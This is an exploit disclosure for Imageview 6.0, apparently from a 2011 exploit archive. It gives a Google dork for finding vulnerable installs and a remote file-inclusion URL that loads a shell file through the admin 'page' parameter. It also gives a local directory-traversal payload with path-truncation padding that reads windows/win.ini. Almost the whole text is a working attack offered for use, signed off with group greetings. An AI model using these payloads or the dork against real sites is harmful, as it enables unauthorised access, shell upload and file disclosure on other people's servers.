########################################################## # Exploit Title: Imageview v6.0 Remote [and] Local Directory Traversal Vulnerability # Google Dork: inurl:"/imageview6/" # home : www.D99Y.com # Date: 27/2/2011 # Author: Difficult 511 # Software Link: http://www.blackdot.be/files/downloads/imageview6-install.zip # Version: 6.0 # Tested on: windows xp sp2 ########################################################## # # file : # # admin/index.php # # exploit [ Remote ] : # # http://localhost/imageview6/admin/index.php?page= [shell.txt] # # Code : # # # # exploit [ Local ] : # # http://localhost/imageview6/admin/index.php?page=unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\ # # Now see the file : /windows/win.ini # # And see Page ;) # ########################################################## Greetz : NassRawI and all members D99Y.com Enjoy :)